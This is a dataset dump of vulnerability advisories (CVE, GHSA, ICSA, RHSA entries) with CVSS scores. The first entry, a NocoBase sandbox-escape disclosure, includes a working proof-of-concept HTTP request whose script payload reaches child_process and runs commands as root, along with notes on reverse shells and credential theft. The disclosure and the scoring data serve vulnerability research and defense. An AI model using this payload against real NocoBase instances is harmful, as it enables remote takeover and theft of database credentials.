ansulev/circl-vulnerability-scores huggingface dataset:
GHSA-px3p-vgh9-m57c: NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node
`##` SummaryNocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`.An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.Exploit Chain`console._stdout.constructor.constructor` → host-realm `Function` constructor`Function('return process')()` → Node.js `process` object`process.mainModule.require('child_process')` → unrestricted module loading`child_process.execSync('id')` → RCE as rootThis completely bypasses the `customRequire` allowlist.ImpactRemote Code Execution as root (uid=0) inside Docker containerDatabase credential theft (`DB_PASSWORD`, `INIT_ROOT_PASSWORD` from `process.env`)Arbitrary file read/write via `require('fs')`Reverse shell confirmedOutbound network access for lateral movementProof of Concept**HTTP Request:**POST /api/flow_nodes:test
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json{
  "type": "script",
  "config": {
    "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();",
    "timeout": 5000,
    "arguments": []
  }
}**Response:**{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}EnvironmentDocker image: `nocobase/nocobase:latest`NocoBase CLI: v2.0.26Node.js: v20.20.1OS: Debian GNU/Linux 12 (bookworm)PoCGot reverse shellProof of concept the root privilegesos-release demonstrationApp pathExploit Usage:Reverse Shell ModeDump system information & credsRemote Command Execution ModeRemediationReplace Node.js `vm` module with `isolated-vm` for true V8 isolate separationDo not pass the host `console` object into the sandbox; create a clean proxyRun the application as a non-root user inside DockerRestrict `/api/flow_nodes:test` to admin-only rolesAlternative Escape Vectors`console._stderr.constructor.constructor` (identical chain via stderr)`Error.prepareStackTrace` + `CallSite.getThis()` (V8 CallSite API)ReporterOnurcan Genç — Independent Security Researcher, Bilkent University
CVSS v3.1: 9.9
CVE-2014-0770: Advantech WebAccess Stack-based Buffer Overflow
By providing an overly long string to the UserName parameter, an 
attacker may be able to overflow the static stack buffer. The attacker 
may then execute code on the target device remotely.
CVSS v2.0: 7.5
CVE-2008-5140: trend-autoupdate.new in mailscanner 4.55.10 and other versions before 4.74.16-1 allows local users to overwrite arbitrary files via a symlink attack on a (1) /tmp/opr.ini.##### or (2) /tmp/lpt*.zip temporary file.
CVSS v2.0: 6.9
GHSA-8rp4-crp4-pxg3: Multiple vulnerabilities in Cisco Data Center Network Manager (DCNM) Software could allow a remote attacker to inject arbitrary values into DCNM configuration parameters, redirect a user to a malicious website, inject malicious content into a DCNM client interface, or conduct a cross-site scripting (XSS) attack against a user of the affected software. Cisco Bug IDs: CSCvf40477, CSCvf63150, CSCvf68218, CSCvf68235, CSCvf68247.
CVSS v3.0: 4.7
CVE-2026-7962: Insufficient policy enforcement in DirectSockets in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform arbitrary read/write via a crafted Chrome Extension. (Chromium security severity: Medium)
CVSS v3.1: 5.4
CVE-2002-0976: Internet Explorer 4.0 and later allows remote attackers to read arbitrary files via a web page that accesses a legacy XML Datasource applet (com.ms.xml.dso.XMLDSO.class) and modifies the base URL to point to the local system, which is trusted by the applet.
CVSS v2.0: 6.4
GHSA-vxq6-x5pq-mr9g: This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Foxit Reader 8.3.2.25013. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within util.printf. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated object. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the current process. Was ZDI-CAN-5290.
CVSS v3.0: 6.5
GHSA-3cgc-cxx5-vcw5: Memory corruption in kernel due to missing checks when updating the access rights of a memextent mapping.
CVSS v3.1: 7.8
CVE-2023-39463: Triangle MicroWorks SCADA Data Gateway Trusted Certification Unrestricted Upload of File Remote Code Execution Vulnerability
Triangle MicroWorks SCADA Data Gateway Trusted Certification Unrestricted Upload of File Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Triangle MicroWorks SCADA Data Gateway. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.

The specific flaw exists within the trusted certification feature. The issue lies in the handling of the OpcUaSecurityCertificateAuthorityTrustDir variable, which allows an arbitrary file write with attacker-controlled data. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-20537.
CVSS v3.0: 7.2
GHSA-jmv9-6789-c4gh: An issue was discovered in libthulac.so in THULAC through 2018-02-25. A heap-based buffer over-read can occur in NGramFeature::find_bases in include/cb_ngram_feature.h.
CVSS v3.0: 9.8
CVE-2023-5061: Missing Authorization in GitLab
An issue has been discovered in GitLab affecting all versions starting from 9.3 before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. In certain situations, it may have been possible for developers to override predefined CI variables via the REST API.
CVSS v3.1: 4.3
CVE-2023-26845: A Cross-Site Request Forgery (CSRF) in OpenCATS 0.9.7 allows attackers to force users into submitting web requests via unspecified vectors.
CVSS v3.1: 4.3
GHSA-58c6-fp7m-jvwq: Cross-site scripting (XSS) vulnerability in yald.php in Yet Another Link Directory 1.0 allows remote attackers to inject arbitrary web script or HTML via the search parameter.
CVE-2020-2761: Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Security: Privileges). Supported versions that are affected are 8.0.18 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
CVSS v3.0: 4.9
GHSA-4jr8-64gc-wqqx: In version 1.5.5 of lunary-ai/lunary, a vulnerability exists where admins, who do not have direct permissions to access billing resources, can change the permissions of existing users to include billing permissions. This can lead to a privilege escalation scenario where an administrator can manage billing, effectively bypassing the intended role-based access control. Only users with the 'owner' role should be allowed to invite members with billing permissions. This flaw allows admins to circumvent those restrictions, gaining unauthorized access and control over billing information, posing a risk to the organization’s financial resources.
CVSS v3.0: 7.3
GHSA-r54j-5j39-g848: Unspecified vulnerability in the Oracle Application Object Library component in Oracle E-Business Suite 11.5.10.2, 12.0.6, 12.1.2, and 12.1.3 allows remote authenticated users to affect integrity via unknown vectors related to Attachments / File Upload.
CVE-2026-24559: WordPress Integration for Contact Form 7 HubSpot plugin <= 1.4.3 - Sensitive Data Exposure vulnerability
Insertion of Sensitive Information Into Sent Data vulnerability in CRM Perks Integration for Contact Form 7 HubSpot cf7-hubspot allows Retrieve Embedded Sensitive Data.This issue affects Integration for Contact Form 7 HubSpot: from n/a through <= 1.4.3.
CVSS v3.1: 5.3
CVE-2024-49672: WordPress Google Docs RSVP plugin <= 2.0.1 - CSRF to Stored Cross Site Scripting (XSS) vulnerability
Cross-Site Request Forgery (CSRF) vulnerability in giffordcheung Google Docs RSVP google-docs-rsvp-guestlist allows Stored XSS.This issue affects Google Docs RSVP: from n/a through <= 2.0.1.
CVSS v3.1: 7.1
CVE-2019-17418: An issue was discovered in MetInfo 7.0. There is SQL injection via the admin/?n=language&c=language_general&a=doSearchParameter appno parameter, a different issue than CVE-2019-16997.
CVSS v3.1: 7.2
CVSS v2.0: 6.5
CVE-2016-5358: epan/dissectors/packet-pktap.c in the Ethernet dissector in Wireshark 2.x before 2.0.4 mishandles the packet-header data type, which allows remote attackers to cause a denial of service (application crash) via a crafted packet.
CVSS v3.0: 5.9
CVSS v2.0: 4.3
GHSA-2v93-vp82-cjv8: Velocidex Velociraptor has an Incorrect Authorization issue
Velociraptor versions prior to 0.76.4 contain a cross organization authorization bypass in the HTTP API. A user with only the reader role in the root organization (the lowest authenticated role, holding only READ_RESULTS permission ) can issue a single authenticated HTTP GET that can read any files from other orgs - even if they have no explicit permissions in the target org.However, the problem does not occur in reverse - a user with read access to a sub org is unable to read from other org or the root org.
CVSS v3.1: 6.8
CVE-2025-13432: Terraform Enterprise state versions can be created by users with specific permissions without sufficient write access
Terraform state versions can be created by a user with specific but insufficient permissions in a Terraform Enterprise workspace. This may allow for the alteration of infrastructure if a subsequent plan operation is approved by a user with approval permission or auto-applied. This vulnerability, CVE-2025-13432, is fixed in Terraform Enterprise version 1.1.1 and 1.0.3.
CVSS v3.1: 4.3
CVE-2022-33049: Online Railway Reservation System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /orrs/admin/?page=user/manage_user.
CVSS v3.1: 7.2
CVSS v2.0: 6.5
GHSA-m6m8-pj95-q4rg: The NEX-Forms – Ultimate Form Builder – Contact forms and much more plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the set_read() function in all versions up to, and including, 8.5.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to mark records as read.
CVSS v3.1: 5.3
CVE-2025-62668: Insufficient permission checks in action=growthsetmentor
Incorrect Default Permissions vulnerability in The Wikimedia Foundation Mediawiki - GrowthExperiments Extension allows Resource Leak Exposure.This issue affects Mediawiki - GrowthExperiments Extension: from master before 1.39.
CVSS v4.0: 6.9
GHSA-r9q7-9m92-j6j6: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Yuri Baranov YaMaps for WordPress allows Stored XSS. This issue affects YaMaps for WordPress: from n/a through 0.6.31.
CVSS v3.1: 6.5
RHSA-2019:4360: Red Hat Security Advisory: libyang security update
libyang: stack-based buffer overflow in make_canonical when bits leaf type is used libyang: stack-based buffer overflow in make_canonical when identityref leaf type is used
CVSS v3.0: 8.1
CVE-2017-7852: D-Link DCS cameras have a weak/insecure CrossDomain.XML file that allows sites hosting malicious Flash objects to access and/or change the device's settings via a CSRF attack. This is because of the 'allow-access-from domain' child element set to *, thus accepting requests from any domain. If a victim logged into the camera's web console visits a malicious site hosting a malicious Flash file from another Browser tab, the malicious Flash file then can send requests to the victim's DCS series Camera without knowing the credentials. An attacker can host a malicious Flash file that can retrieve Live Feeds or information from the victim's DCS series Camera, add new admin users, or make other changes to the device. Known affected devices are DCS-933L with firmware before 1.13.05, DCS-5030L, DCS-5020L, DCS-2530L, DCS-2630L, DCS-930L, DCS-932L, and DCS-932LB1.
CVSS v3.1: 8.8
CVSS v2.0: 6.8
CVE-2020-25618: An issue was discovered in SolarWinds N-Central 12.3.0.670. The sudo configuration has incorrect access control because the nable web user account is effectively able to run arbitrary OS commands as root (i.e., the use of root privileges is not limited to specific programs listed in the sudoers file).
CVSS v3.1: 8.8
CVSS v2.0: 9
GHSA-88px-gmr4-m3f2: Cross-site scripting (XSS) vulnerability in job.cc in apt-cacher-ng 0.7.26 allows remote attackers to inject arbitrary web script or HTML via a crafted URL.
GHSA-q3f6-347p-3qc9: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Turk Telekom TP-Link allows OS Command Injection.This issue affects TP-Link: through 2024.03.28.
CVSS v3.1: 9.8
CVE-2024-53021: Buffer Over-read in Data Network Stack & Connectivity
Information disclosure may occur while processing goodbye RTCP packet from network.
CVSS v3.1: 8.2
GHSA-c2m4-xc4p-9x32: Dell Storage Manager - Replay Manager for Microsoft Servers, version(s) 8.0, contain(s) an Improper Privilege Management vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.
CVSS v3.1: 7.3
GHSA-6rgq-99c6-8587: Heap-based Buffer Overflow occurs in vim in GitHub repository vim/vim prior to 8.2.
CVSS v3.1: 7.8
CVE-2023-3744: Server-Side Request Forgery in SLiMS
Server-Side Request Forgery vulnerability in SLims version 9.6.0. This vulnerability could allow an authenticated attacker to send requests to internal services or upload the contents of relevant files via the "scrape_image.php" file in the imageURL parameter.
CVSS v3.1: 9.9
GHSA-qm85-96h4-7f94: A flaw was found in Ansible. Three API endpoints are accessible and return verbose, unauthenticated responses. This flaw allows a malicious user to access data that may contain important information.
CVSS v3.1: 3.5
GHSA-vwgq-pmmf-6whv: In the Linux kernel before 5.1.13, there is a memory leak in drivers/scsi/libsas/sas_expander.c when SAS expander discovery fails. This will cause a BUG and denial of service.
CVE-2004-2079: Red-M Red-Alert 2.7.5 with software 3.1 build 24 binds authentication to IP addresses, which allows remote attackers to bypass authentication by connecting from the same IP address as an active authenticated user.
CVSS v2.0: 7.5
CVE-2010-3215: Microsoft Word 2002 SP3 and Office 2004 for Mac do not properly handle unspecified return values during parsing of a Word document, which allows remote attackers to execute arbitrary code via a crafted document that triggers memory corruption, aka "Word Return Value Vulnerability."
CVSS v2.0: 9.3
ICSA-19-227-04: Siemens SINAMICS (Update C)
The webserver of the affected devices contains a vulnerability that may lead to a denial-of-service condition. An attacker may cause a denial-of-service situation which leads to a restart of the webserver of the affected device. The security vulnerability could be exploited by an attacker with network access to the affected systems. Successful exploitation requires no system privileges and no user interaction. An attacker could use the vulnerability to compromise availability of the device. At the time of advisory publication no public exploitation of this security vulnerability was known.
CVSS v3.1: 7.5
GHSA-92hj-qq4q-mm96: A vulnerability was found in Total.js CMS 1.0.0. Affected by this vulnerability is the function layouts_save of the file /admin/ of the component Layout Page. Performing manipulation of the argument HTML results in cross site scripting. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS v4.0: 1.9
CVSS v3.1: 2.4
CVE-2006-4222: Multiple unspecified vulnerabilities in IBM WebSphere Application Server before 6.0.2.13 have unspecified vectors and impact, including (1) an "authority problem" in ThreadIdentitySupport as identified by PK25199, and "Potential security exposure" issues as identified by (2) PK22747, (3) PK24334, (4) PK25740, and (5) PK26123.
CVSS v2.0: 5
GHSA-4pmr-jmj5-4gwv: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine jet-engine allows Reflected XSS.This issue affects JetEngine: from n/a through <= 3.8.0.
CVSS v3.1: 7.1
GHSA-9jf9-pq7g-q222: The hdpvr_probe function in drivers/media/usb/hdpvr/hdpvr-core.c in the Linux kernel through 4.13.11 allows local users to cause a denial of service (improper error handling and system crash) or possibly have unspecified other impact via a crafted USB device.
CVSS v3.0: 6.6
CVE-2024-4364: Qi Addons For Elementor <= 1.7.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button Widget
The Qi Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's button widgets in all versions up to, and including, 1.7.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS v3.1: 6.4
CVE-2018-20910: cPanel before 70.0.23 allows self XSS in the WHM cPAddons showsecurity Interface (SEC-357).
CVSS v3.0: 6.1
CVSS v2.0: 4.3
CVE-2025-67597: WordPress Fluent Booking plugin <= 1.9.11 - Broken Access Control vulnerability
Missing Authorization vulnerability in Shahjahan Jewel Fluent Booking fluent-booking allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fluent Booking: from n/a through <= 1.9.11.
CVSS v3.1: 4.3
CVE-2014-3749: SQL injection vulnerability in Construtiva CIS Manager allows remote attackers to execute arbitrary SQL commands via the email parameter to autenticar/lembrarlogin.asp.
CVSS v2.0: 7.5
GHSA-qvx7-xchc-8mqc: Unspecified vulnerability in the search feature in Sun Java System LDAP JDK before 4.20 allows context-dependent attackers to obtain sensitive information via unknown attack vectors related to the LDAP JDK library.
CVE-2009-4083: Multiple cross-site scripting (XSS) vulnerabilities in e107 0.7.16 and earlier allow remote attackers to inject arbitrary web script or HTML via unspecified vectors in (1) submitnews.php, (2) usersettings.php; and (3) newpost.php, (4) banlist.php, (5) banner.php, (6) cpage.php, (7) download.php, (8) users_extended.php, (9) frontpage.php, (10) links.php, and (11) mailout.php in e107_admin/.  NOTE: this may overlap CVE-2004-2040 and CVE-2006-4794, but there are insufficient details to be certain.
CVSS v2.0: 4.3
ICSA-20-280-01: Rockwell Automation ISaGRAF5 Runtime (Update A)
Some commands used by the ISaGRAF eXchange Layer (IXL) protocol perform various file operations in the file system. Since the parameter pointing to the file name is not checked for reserved characters, it is possible for a remote, unauthenticated attacker to traverse an application 's directory, which could lead to remote code execution.CVE-2020-25176 has been assigned to this vulnerability. A CVSS v3 base score of 9.1 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H). ISaGRAF Runtime stores the password in plaintext in a file that is in the same directory as the executable file. ISaGRAF Runtime reads the file and saves the data in a variable without any additional modification. A local, unauthenticated attacker could compromise the user passwords, resulting in information disclosure.CVE-2020-25184 has been assigned to this vulnerability. A CVSS v3 base score of 7.8 has been calculated; the CVSS vector string is (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). ISaGRAF Workbench communicates with ISaGRAF Runtime using TCP/IP. This communication protocol provides various file system operations, as well as the uploading of applications. Data is transferred over this protocol unencrypted, which could allow a remote unauthenticated attacker to upload, read, and delete files.CVE-2020-25178 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been calculated; the CVSS vector string is (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H). ISaGRAF Runtime searches for and loads DLLs as dynamic libraries. Uncontrolled loading of dynamic libraries could allow a local, unauthenticated attacker to execute arbitrary code. This vulnerability only affects ISaGRAF Runtime when running on Microsoft Windows systems.CVE-2020-25182 has been assigned to this vulnerability. A CVSS v3 base score of 6.7 has been calculated; the CVSS vector string is (AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H). ISaGRAF Runtime includes the functionality of setting a password that is required to execute privileged commands. The password value passed to ISaGRAF Runtime is the result of encryption performed with a fixed key value using the Tiny Encryption Algorithm (TEA) on an entered or saved password. A remote, unauthenticated attacker could pass their own encrypted password to the ISaGRAF 5 Runtime, which may result in information disclosure on the device.CVE-2020-25180 has been assigned to this vulnerability. A CVSS v3 base score of 5.3 has been calculated; the CVSS vector string is (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N).
CVSS v3.0: 5.3
CVE-2022-25077: TOTOLink A3100R V4.1.2cu.5050_B20200504 was discovered to contain a command injection vulnerability in the "Main" function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.
CVSS v3.1: 9.8
CVSS v2.0: 7.5
GHSA-p542-8xvj-878h: Stack-based buffer overflow in Autonomy (formerly Verity) KeyView Viewer, Filter, and Export SDK before 9.2.0.12, as used by ActivePDF DocConverter, wp6sr.dll in IBM Lotus Notes 8.0 and before 7.0.3, Symantec Mail Security, and other products, allows remote attackers to execute arbitrary code via a crafted WordPerfect (WPD) file.
GHSA-4h93-46mq-wpq9: Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Java SE: 8u291, 11.0.11, 16.0.1; Oracle GraalVM Enterprise Edition: 20.3.2 and 21.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS v3.1: 7.5
CVE-2016-1758: The kernel in Apple iOS before 9.3 and OS X before 10.11.4 allows attackers to obtain sensitive memory-layout information or cause a denial of service (out-of-bounds read) via a crafted app.
CVSS v3.0: 3.3
CVSS v2.0: 4.3